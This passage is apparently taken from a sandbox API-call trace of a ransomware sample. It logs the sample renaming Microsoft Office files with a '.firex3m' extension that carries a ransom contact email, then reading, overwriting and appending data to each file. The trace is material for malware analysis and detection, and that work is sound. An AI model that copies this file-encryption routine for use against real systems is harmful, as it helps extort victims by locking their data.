CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.020] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01931j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01931J.JPG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01931j.jpg.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.029] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.029] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01931J.JPG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10208b6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10208b6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1022edb4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9abe, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01931J.JPG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PH0193~1.FIR")) returned 0x6d5200 [0138.030] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0138.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01931J.JPG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01931j.jpg.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0138.032] GetProcessHeap () returned 0x630000 [0138.032] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9ac1) returned 0x71803a8 [0138.033] GetProcessHeap () returned 0x630000 [0138.033] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9ac1) returned 0x7189e78 [0138.033] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.033] ReadFile (in: hFile=0x640, lpBuffer=0x71803a8, nNumberOfBytesToRead=0x9aa0, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71803a8*, lpNumberOfBytesRead=0x483ff0c*=0x9aa0, lpOverlapped=0x0) returned 1 [0142.019] GetProcessHeap () returned 0x630000 [0142.020] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73172c0 [0142.020] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.020] WriteFile (in: hFile=0x640, lpBuffer=0x7189e78*, nNumberOfBytesToWrite=0x9aa0, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7189e78*, lpNumberOfBytesWritten=0x483ff0c*=0x9aa0, lpOverlapped=0x0) returned 1 [0142.020] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.020] WriteFile (in: hFile=0x640, lpBuffer=0x7193917*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7193917*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0142.020] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.020] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0142.020] CloseHandle (hObject=0x640) returned 1 [0142.020] GetProcessHeap () returned 0x630000 [0142.020] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7189e78 | out: hHeap=0x630000) returned 1 [0142.278] GetProcessHeap () returned 0x630000 [0142.278] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71803a8 | out: hHeap=0x630000) returned 1 [0142.278] GetProcessHeap () returned 0x630000 [0142.278] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73172c0 | out: hHeap=0x630000) returned 1 [0142.278] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0142.278] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01931J.JPG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10208b6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10208b6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a9a366f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9ae2, dwReserved0=0xbac7496, dwReserved1=0x71803a0, cFileName="PH01931J.JPG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PH0193~1.FIR")) returned 0x6d5540 [0142.278] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0142.278] Sleep (dwMilliseconds=0x1) [0142.285] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms", len=0x47 | out: pbstr=0x483ff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 1 [0142.285] GetProcessHeap () returned 0x630000 [0142.285] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1cb8) returned 0x7203db8 [0142.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0143.247] CloseHandle (hObject=0x694) returned 1 [0143.247] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0143.286] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.287] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.287] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe533c027, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe533c027, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5420d88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x297b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoVL_MAK-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MONDOV~3.FIR")) returned 0x6d5540 [0143.288] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0143.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0143.288] GetProcessHeap () returned 0x630000 [0143.288] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2981) returned 0x714c008 [0143.289] GetProcessHeap () returned 0x630000 [0143.289] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2981) returned 0x714e998 [0143.289] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.289] ReadFile (in: hFile=0x694, lpBuffer=0x714c008, nNumberOfBytesToRead=0x2960, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x714c008*, lpNumberOfBytesRead=0x483ff0c*=0x2960, lpOverlapped=0x0) returned 1 [0143.329] GetProcessHeap () returned 0x630000 [0143.329] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177a60 [0143.329] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.329] WriteFile (in: hFile=0x694, lpBuffer=0x714e998*, nNumberOfBytesToWrite=0x2960, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x714e998*, lpNumberOfBytesWritten=0x483ff0c*=0x2960, lpOverlapped=0x0) returned 1 [0143.330] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.330] WriteFile (in: hFile=0x694, lpBuffer=0x71512f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71512f7*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0143.330] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.330] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0143.330] CloseHandle (hObject=0x694) returned 1 [0143.330] GetProcessHeap () returned 0x630000 [0143.330] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714e998 | out: hHeap=0x630000) returned 1 [0143.330] GetProcessHeap () returned 0x630000 [0143.330] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714c008 | out: hHeap=0x630000) returned 1 [0143.330] GetProcessHeap () returned 0x630000 [0143.330] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177a60 | out: hHeap=0x630000) returned 1 [0143.330] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.331] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe533c027, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe533c027, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b607057, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x299f, dwReserved0=0xbac7496, dwReserved1=0x714c000, cFileName="MondoVL_MAK-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MONDOV~3.FIR")) returned 0x6d5280 [0143.331] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0143.867] Sleep (dwMilliseconds=0x1) [0145.301] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_K_COL.HXK", len=0x47 | out: pbstr=0x483ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_K_COL.HXK") returned 1 [0145.301] GetProcessHeap () returned 0x630000 [0145.301] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26dc) returned 0x71f7c78 [0145.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0145.428] CloseHandle (hObject=0x414) returned 1 [0145.428] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0145.428] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.912] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.912] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b5d49a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b5d49a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9b8364e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MS7473~1.FIR")) returned 0x6d5240 [0149.934] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0149.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0149.936] GetProcessHeap () returned 0x630000 [0149.936] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4ce8 [0149.936] GetProcessHeap () returned 0x630000 [0149.936] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4e98 [0149.936] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.936] ReadFile (in: hFile=0x414, lpBuffer=0x6a4ce8, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4ce8*, lpNumberOfBytesRead=0x483ff0c*=0x60, lpOverlapped=0x0) returned 1 [0149.938] GetProcessHeap () returned 0x630000 [0149.938] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0149.938] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.938] WriteFile (in: hFile=0x414, lpBuffer=0x6a4e98*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4e98*, lpNumberOfBytesWritten=0x483ff0c*=0x60, lpOverlapped=0x0) returned 1 [0149.938] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.939] WriteFile (in: hFile=0x414, lpBuffer=0x6a4ef7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4ef7*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0149.939] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.939] WriteFile (in: hFile=0x414, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0149.939] CloseHandle (hObject=0x414) returned 1 [0149.939] GetProcessHeap () returned 0x630000 [0149.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4e98 | out: hHeap=0x630000) returned 1 [0149.939] GetProcessHeap () returned 0x630000 [0149.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4ce8 | out: hHeap=0x630000) returned 1 [0149.939] GetProcessHeap () returned 0x630000 [0149.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0149.939] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.939] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b5d49a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b5d49a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1f51e6a6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x483fd20, dwReserved1=0x6a4ce8, cFileName="MSACCESS_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MS7473~1.FIR")) returned 0x6d5240 [0149.940] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0149.940] Sleep (dwMilliseconds=0x1) [0149.980] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU", len=0x46 | out: pbstr=0x483ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU") returned 1 [0149.980] GetProcessHeap () returned 0x630000 [0149.980] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x713f7f0, Size=0x2b90) returned 0x713f7f0 [0149.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzusr12.accdu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0149.982] CloseHandle (hObject=0x414) returned 1 [0149.982] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.982] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzusr12.accdu"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzusr12.accdu.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.983] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.983] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1330f2c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1330f2c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x344000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZUSR12.ACCDU.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ACWZUS~1.FIR")) returned 0x6d54c0 [0149.983] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0149.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzusr12.accdu.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0149.984] GetProcessHeap () returned 0x630000 [0149.984] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x735c2f8 [0149.984] GetProcessHeap () returned 0x630000 [0149.984] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7367728 [0149.985] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.985] ReadFile (in: hFile=0x414, lpBuffer=0x735c2f8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x735c2f8*, lpNumberOfBytesRead=0x483ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0158.800] GetProcessHeap () returned 0x630000 [0158.800] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71771a0 [0158.800] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.800] WriteFile (in: hFile=0x414, lpBuffer=0x7367728*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7367728*, lpNumberOfBytesWritten=0x483ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0158.800] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.801] WriteFile (in: hFile=0x414, lpBuffer=0x7372b27*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7372b27*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0158.801] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.801] WriteFile (in: hFile=0x414, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0158.802] CloseHandle (hObject=0x414) returned 1 [0158.802] GetProcessHeap () returned 0x630000 [0158.802] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7367728 | out: hHeap=0x630000) returned 1 [0158.802] GetProcessHeap () returned 0x630000 [0158.802] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x735c2f8 | out: hHeap=0x630000) returned 1 [0158.802] GetProcessHeap () returned 0x630000 [0158.802] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71771a0 | out: hHeap=0x630000) returned 1 [0158.802] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.802] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1330f2c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1330f2c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2499f5d3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x344024, dwReserved0=0xbac7496, dwReserved1=0x735c2f0, cFileName="ACWZUSR12.ACCDU.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ACWZUS~1.FIR")) returned 0x6d5000 [0158.802] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0158.802] Sleep (dwMilliseconds=0x1) 